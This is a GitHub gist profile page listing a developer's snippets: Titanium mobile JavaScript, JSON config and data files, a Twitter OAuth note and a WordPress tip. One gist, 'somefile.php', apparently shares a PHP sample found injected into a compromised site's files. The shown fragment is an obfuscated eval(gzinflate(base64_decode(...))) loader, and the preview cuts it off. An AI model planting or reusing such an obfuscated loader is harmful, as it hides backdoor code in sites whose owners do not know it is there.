Skip to content

Instantly share code, notes, and snippets.

View vyatri's full-sized avatar
:electron:
work remotely from anywhere

Juanita Vyatri vyatri

:electron:
work remotely from anywhere
View GitHub Profile
{"message": "Saat ini TLN hanya terbuka untuk mereka yang sudah bergabung di grup TLN. Silahkan mendaftar lewat link ini http://bit.ly/WAG-TLN \nData anda tidak akan diproses sebelum anda terdaftar di grup ini. Tidak dipungut biaya."}
{
"last_modified":"1516089167.500978",
"ayahCount":[
7,
286,
200,
176,
120,
165,
206,
{
"version_name": "2.0.0",
"latest_build": 12,
"app_active": true,
"must_update": true,
"message": "Harap update"
}
This file has been truncated, but you can view the full file.
[
{
"icao": "19AK",
"iata": "ICY",
"name": "Icy Bay Airport",
"city": "Icy Bay",
"country": "US",
"elevation": 50,
"lat": 59.96900177,
"lon": -141.662002563,
@vyatri
vyatri / inside_controller.js
Created March 20, 2014 10:14
How to center ImageView inside ScrollView in Titanium. A way to "automatically" centering image inside scrollview for automatic center cropping or thumbnailing purpose. If you use this for model-view binding, simply put this controller script inside filter function
$.bar.addEventListener("load",function(e){ // because the image in $.bar is remote
// check orientasi
var h = $.bar.rect.height, w = $.bar.rect.width, a = w/h;
var ch = $.foo.rect.height, cw = $.foo.rect.width, ac = cw/ch; // container
if(a > ac){
$.foo.contentHeight = "100%";
$.bar.left = (w - cw)/2*-1;
} else if(a < ac){
$.foo.contentWidth = "100%";
$.bar.top = ((cw/a)-ch)/2*-1;
@vyatri
vyatri / app.js
Last active January 3, 2018 01:02 — forked from minhnc/app.js
var win = Ti.UI.createWindow(); //
win.open();
/// <<< Register & UnRegister Event Listeners
/**
* params: {event: 'event', callback: eventCallback}
*/
function registerEventListener(obj, params) {
if ( typeof obj._eventListeners == 'undefined' ) {
// di login.js ganti baris yang ini:
var udid = Titanium.Platform.id;
// ganti dengan ini:
var udid = db_user.getVal("udid");
if (!udid){
udid = Titanium.Platform.id;
var label_udid = Ti.UI.createLabel({
@vyatri
vyatri / somefile.php
Created August 12, 2013 21:49
injected script on almost every php file
<?php eval(gzinflate(base64_decode('tVdtc5tIEv6sVO1/GKsoAzYGhN4tYye10e2m7hLnZHn3g62oEAwSDgIyIL+cpf9+3TODJMvypuqulrLFMN3T3dMvT89EIdEOAhpGCQ00NWTzj7mq68+/vKuIyXKOGDW9B7PwFy4Sv4jShABlHMREUxYs1gmuqUQgrqSP6WOUF7mm+kAfR0lUgGTBVlH8GXHJmiBE9DiJT+a0SDOY9mcG+fV68K/Lr8PxoD+8HnwZDj58ufpHf2CQmlygpIuiFEYfqU9wmaShPYLAWJJyAjlwXWLrRC4LvTinW5r9OM3plogVocBAniX7+zCK6XhKi7GfJgVNYH/C9hUyM1osWEIKFs01XMBFrPa4zWe4uyjhnq4oUezmBYtpwud6SuqqKtcepgxsiUCx3SPwPoOfGEfHx7gD0wX+GyUakW9EPRJLpA1K+pZuMN73/BnVlGKeBREzlDhKvhuKPy+iOTWUgMZuwRZU2haCcslpqlZO83ysmvOgqWWMTseMZrHnQ5pY32ZFkZ3eWrfWzbdba3RsqQZR4Z9L14Uzo1A74A6UqaGEOlkuCerVdHJCkMat4JRz0rLJEZGG6ShAZk8Q+67IPk2IL6OtcZLr8qiKDfBp2JMuPirvFwkuQQ1iVQUDXBKLdOHPNjQeVc5A+GgjUQkzng5phlELDfVB1g0+4QOLCtxEZmyFG0wDP5CQpxgSSwNWqOC5DBywiWwS2lciCv4bySctlYvh29cvNirh61Sk0r5MiPJJirXn6bJ4NXRn5kaZE6fJVFPGV/3BH/3BjTrof74c9scfPn4cqCNdP7N1ZDx2G0630W21nW6rxx2ksBzs9BjznjTxW2/Vu81Gt9usG3zY7NQajm4IYs3udO2m02rXDT5s2Z3WhlhzYEXTsWuGGHZB2ZroAL/TcuyuwYcNp9m1dUP6X6puAqlRa4B0Pmw3nHpnI71W73ZskGmIYdN2NqqdRrdtN2HS4MN2rVnbrARBXYeLFcNm
@vyatri
vyatri / README.md
Last active December 20, 2015 07:38
Twitter titanium oauth javascript to login, logout, tweet, and post photo to twitter

For those who got twitter authentication error:

in your app setting in dev.twitter.com , make sure you fill up callback_url field. Even though it's just a placeholder. Just to verify that you are using browser type app. Also tick "Allow this application to be used to Sign in with Twitter" checkbox. And make sure you have Access_Token generated on "Details" tab

original script ---> https://gist.github.com/rampicos/4320296

how to use ---> http://shareourideas.com/2012/12/18/linkedin-connect-for-appcelerator-titanium/

I modified the original script to be able to work on twitter v1.1 and PIN-based authentication.

@vyatri
vyatri / auto-featured-image-wordpress.php
Created March 3, 2013 08:17
Here’s a quick snippet of code you can throw into your functions.php file that will your theme automatically set it to the first available image. Note, you can always go and set another image as the featured image if you want to. It checks to see if a featured image exists and if it doesn’t, picks the first one. Snippet from http://wpforce.com/a…